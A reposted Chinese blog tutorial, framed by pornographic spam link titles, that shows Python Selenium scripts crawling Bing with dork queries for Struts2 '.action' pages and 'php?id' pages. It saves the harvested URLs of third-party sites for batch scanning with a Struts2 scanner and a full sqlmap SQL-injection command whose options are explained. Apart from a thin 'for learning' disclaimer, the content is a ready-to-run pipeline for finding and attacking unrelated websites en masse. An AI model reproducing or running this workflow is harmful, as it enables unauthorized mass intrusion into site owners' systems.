欧美一级特黄大片做受成人-亚洲成人一区二区电影-激情熟女一区二区三区-日韩专区欧美专区国产专区

如何運(yùn)用selenium在網(wǎng)上爬取已知漏洞

小編給大家分享一下如何運(yùn)用selenium在網(wǎng)上爬取已知漏洞,希望大家閱讀完這篇文章之后都有所收獲,下面讓我們一起去探討吧!

成都創(chuàng)新互聯(lián)公司專注于和布克賽爾蒙古企業(yè)網(wǎng)站建設(shè),響應(yīng)式網(wǎng)站建設(shè),電子商務(wù)商城網(wǎng)站建設(shè)。和布克賽爾蒙古網(wǎng)站建設(shè)公司,為和布克賽爾蒙古等地區(qū)提供建站服務(wù)。全流程按需定制,專業(yè)設(shè)計(jì),全程項(xiàng)目跟蹤,成都創(chuàng)新互聯(lián)公司專業(yè)和態(tài)度為您提供的服務(wù)

selenium基礎(chǔ)知識(shí)

介紹

python做爬蟲,如果爬取靜態(tài)網(wǎng)頁,requests庫用作請(qǐng)求,bs4和lxml庫用作分析抓取的網(wǎng)頁內(nèi)容非常不錯(cuò);

現(xiàn)在各大搜索引擎都是動(dòng)態(tài)加載,關(guān)于爬取動(dòng)態(tài)網(wǎng)頁,我了解了一些方法:

1.直接url:找js的api接口

2.webkit 手工模擬js

3.scrapyjs     scrapyjs相當(dāng)于粘合劑的作用,可以將splash整合進(jìn)scrapy中

4.splash+ docker

5.phatomjs + selenium 結(jié)合使用 模擬瀏覽器,消耗大,不適合大型爬蟲

這里我們用方法5,不過phatomjs不再和selenium組cp(可以繼續(xù)用),而火狐和google也推出了無頭瀏覽器方式,所以我們用google瀏覽器的驅(qū)動(dòng)來達(dá)成目標(biāo)(調(diào)試時(shí)注意版本,不同版本的css和xpath選擇表達(dá)式可能不同)

我沒有用無頭方式,注意是便于調(diào)試加上我們僅僅是安全研究;如果讀者要用,繼續(xù)這樣修改即可:

chrome_options= Options()

chrome_options.add_argument("--headless")

driver=webdriver.Chrome(executable_path=(r'D:\selenium\chrome/chromedriver.exe'),chrome_options=chrome_options)

安裝selenium

下載驅(qū)動(dòng)器:

https://www.cnblogs.com/freeweb/p/4568463.html

https://www.cnblogs.com/qiezizi/p/8632058.html

python安裝selenium庫即可(pipinstall selenium)

一些簡單的語法知識(shí),大家自行搜索

selenium的FAQ

這點(diǎn)我還是要提出來,語法很簡單,關(guān)鍵調(diào)試很麻煩

1、無法定位元素

這個(gè)問題是沒有加載完網(wǎng)頁就取元素了,本來第一次是設(shè)置sleep(),可是會(huì)導(dǎo)致socket斷開,所以就用內(nèi)置的

importselenium.webdriver.support.ui as ui

wait= ui.WebDriverWait(driver,20)

printwait.until(lambda x: x.find_element_by_css_selector("#b_results> li.b_pag > nav > ul > li:nth-child(3) > a")).text

2、python的ascii編碼

importsys

reload(sys)

sys.setdefaultencoding(‘utf-8’)

3、元素不在視圖

最蛋疼的,尋找了好久方法

出現(xiàn)elementnot visible

用ActionChains模擬鼠標(biāo)點(diǎn)擊

參考:

http://www.mamicode.com/info-detail-1981462.html  

4、制定爬取目標(biāo)

怎樣編寫呢?我們來搜索bing國際版本,爬取struts2可能存在的漏洞

如何運(yùn)用selenium在網(wǎng)上爬取已知漏洞

5、編寫代碼

編寫過程,有興趣可以研究下,作者這里提幾點(diǎn),其他語法還是簡單的搜索好了,然后一頁一頁的向下翻,收集每頁的網(wǎng)址;這里的 xpath和css選擇的語法和你下的瀏覽器驅(qū)動(dòng)版本有關(guān),進(jìn)瀏覽器然后更改選擇代碼即可(不要說運(yùn)行不了,親測(cè)可用的)

        代碼:

#coding=utf-8

importsys

reload(sys)

sys.setdefaultencoding('utf-8')

importtime

fromselenium import webdriver

importselenium.webdriver.support.ui as ui

fromselenium.webdriver.common.keys import Keys

fromselenium.common.exceptions import TimeoutException

#引入ActionChains鼠標(biāo)操作類

fromselenium.webdriver.common.action_chains import ActionChains

start_url="https://cn.bing.com/search?q=inurl%3a.action%3f&qs=n&sp=-1&pq=inurl%3a.action%3f&sc=1-14&sk=&cvid=DBCB283FC96249E8A522340DF4740769&first=67&FORM=PERE4"

urls=range(200)

m=0

s=[1,2,3,4,5,6,7,8,9]

driver=webdriver.Chrome(executable_path="D:/selenium/chrome/chromedriver.exe")

wait=ui.WebDriverWait(driver,20)

driver.get(start_url)

forn in range(7,57):

ifn%2 == 1:#國內(nèi)版

i=7

else:

i=8

i=7

forj in s[0:]:

try:

#//*[@id="b_results"]/li[1]/h3/a國際版本

#printwait.until(lambdax:x.find_element_by_xpath('//*[@id="b_results"]/li['+str(j)+']/h3/a').get_attribute("href"))

#urls[m]=wait.until(lambdax:x.find_element_by_xpath('//*[@id="b_results"]/li['+str(j)+']/h3/a').get_attribute("href"))

#國內(nèi)版本

printwait.until(lambdax:x.find_element_by_xpath('/html/body/div[1]/ol[1]/li['+str(j)+']/h3/a').get_attribute("href"))

urls[m]=wait.until(lambdax:x.find_element_by_xpath('/html/body/div[1]/ol[1]/li['+str(j)+']/h3/a').get_attribute("href"))

m=m+1

exceptException as e:

continue

try:

printi

ActionChains(driver).click(wait.until(lambdax: x.find_element_by_css_selector("#b_results > li.b_pag >nav > ul > li:nth-child("+str(i)+") >a"))).perform()

exceptException as e:            

continue

withopen("urlss.txt","a+") as f:

forurl in urls[0:]:

f.write(str(url))

f.write('\n')

f.close()

driver.quit()

實(shí)現(xiàn)效果

這里用的某公司的批量工具

工具鏈接:

https://www.jb51.net/softs/574358.html

提供一個(gè)開源的stu工具鏈接:github的開源項(xiàng)目,緊跟步伐,剛更新了前幾天的057

作者項(xiàng)目地址:

https://github.com/Lucifer1993/struts-scan

測(cè)試的效果圖如下:


如何運(yùn)用selenium在網(wǎng)上爬取已知漏洞

補(bǔ)充

雖然sql的洞不好找,前兩年來打,是成片區(qū)的,現(xiàn)在不好了,但是作者還是寫了個(gè)爬取代碼

目標(biāo):搜索敏感詞語:inurl:php?id

代碼:

#coding=utf-8

importsys

reload(sys)

sys.setdefaultencoding('utf-8')

importtime

fromselenium import webdriver

importselenium.webdriver.support.ui as ui

fromselenium.webdriver.common.keys import Keys

fromselenium.common.exceptions import TimeoutException

#引入ActionChains鼠標(biāo)操作類

fromselenium.webdriver.common.action_chains import ActionChains

start_url="https://cn.bing.com/search?q=inurl%3aphp%3fid%3d&qs=HS&sc=8-0&cvid=2EEF822D8FE54B6CAAA1CE0169CA5BC5&sp=1&first=53&FORM=PERE3"

urls=range(800)

m=0

s=[1,2,3,4,5,6,7,8,9,10,11,12,13,14]

driver=webdriver.Chrome(executable_path="D:/selenium/chrome/chromedriver.exe")

wait=ui.WebDriverWait(driver,20)

driver.get(start_url)

fori in range(1,50):

forj in s[0:]:

try:

urls[m]=wait.until(lambdax:x.find_element_by_xpath('//*[@id="b_results"]/li['+str(j)+']/h3/a').get_attribute("href"))

printurls[m]

m=m+1

exceptException as e:

e.message

printi

try:

ActionChains(driver).click(wait.until(lambdax: x.find_element_by_css_selector("#b_results > li.b_pag >nav > ul > li:nth-child(7) > a"))).perform()

exceptException as e:

continue

printm

withopen("urls.txt","a+") as f:

forurl in urls[0:]:

f.write(str(url))

f.write('\n')

f.close()

driver.quit()

測(cè)試效果

由于周期太長,沒有具體去測(cè)試,但是url是爬取下來的,我給出sqlmap的指令

(正在考慮shell多線程跑sqlmap,提供思路參考,學(xué)習(xí)為目的,漏洞很少很少了;shell多線程參考:https://blog.csdn.net/bluecloudmatrix/article/details/48421577)

sqlmap-murls.txt --batch--delay=1.3--level=3--tamper=space2comment--dbms=MySQL--technique=EUS--random-agent--is-dba--time-sec=10| tee result.txt

分析命令

1、sqlmap -m  指定文件

2、--delay 指定每次請(qǐng)求requests的間隔時(shí)間,默認(rèn)0.5

3、--level 檢測(cè)請(qǐng)求頭,如來源,agent等,默認(rèn)是1

4、--dbms=mysql 指定數(shù)據(jù)庫是mysql

5、--technique=EUS,(不做盲注的檢測(cè),本來周期就長)

B:Boolean-based blind SQL injection(布爾型注入)

E:Error-based SQL injection(報(bào)錯(cuò)型注入)

U:UNION query SQL injection(可聯(lián)合查詢注入)

S:Stacked queries SQL injection(可多語句查詢注入)

T:Time-based blind SQL injection(基于時(shí)間延遲注入)

6、tee管道命令,顯示在屏幕的同時(shí)輸出到文件中供我們分析

看完了這篇文章,相信你對(duì)“如何運(yùn)用selenium在網(wǎng)上爬取已知漏洞”有了一定的了解,如果想了解更多相關(guān)知識(shí),歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道,感謝各位的閱讀!

當(dāng)前標(biāo)題:如何運(yùn)用selenium在網(wǎng)上爬取已知漏洞
瀏覽地址:http://aaarwkj.com/article32/igsssc.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供自適應(yīng)網(wǎng)站、網(wǎng)站收錄做網(wǎng)站、服務(wù)器托管、網(wǎng)站內(nèi)鏈、企業(yè)建站

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來源: 創(chuàng)新互聯(lián)

手機(jī)網(wǎng)站建設(shè)
亚洲一区欧美日韩91| 亚洲欧美日韩精品一区二| 亚洲精品一区二区三区不卡| 日本a亚洲中文字幕永远| 免费国产污在线观看网站| 亚洲精品亚洲一区亚洲二区| 亚洲国产黄色美女视频| 两性色午夜视频免费网站| 在线观看不卡的黄色地址| 日本高清免费黄色录像| 中文字幕一区日韩欧美| 亚洲av日韩综合一区尤物| 国产精品99久久久久久人| 一级片高清在线观看国产| 精品三级黄色国产片| 国产精品毛片一区二区三| 花花草草寻亲记在哪里免费看| 精品人妻系列一区二区| 亚洲欧洲一区二区免费| 国产三级国产精品国产| 男女性生活视频成年人观看| 91成年精品一区在线观看| 丰满高潮少妇在线观看| 日韩精品一区二区在线天天狠天 | 大香蕉欧美日韩在线视频| 最新日本欧美一区二区| 日韩精品一区二区三区高清 | 午夜福利大片在线观看视频| 性感美女国产av一区二区三区| 日韩不卡区免费在线观看| 成人av在线免费播放| av毛片在线观看地址| 亚洲成人av日韩在线| 熟妇人妻精品一区二区三区颏| 福利一区福利二区视频| 日本东京热不卡一区二区| 亚洲乱码中文字幕人妻| 日韩亚洲毛片全在线播放| 国产一区二区日韩一区| 久久国产精品av在线观看| 亚洲区自拍偷拍一区二区|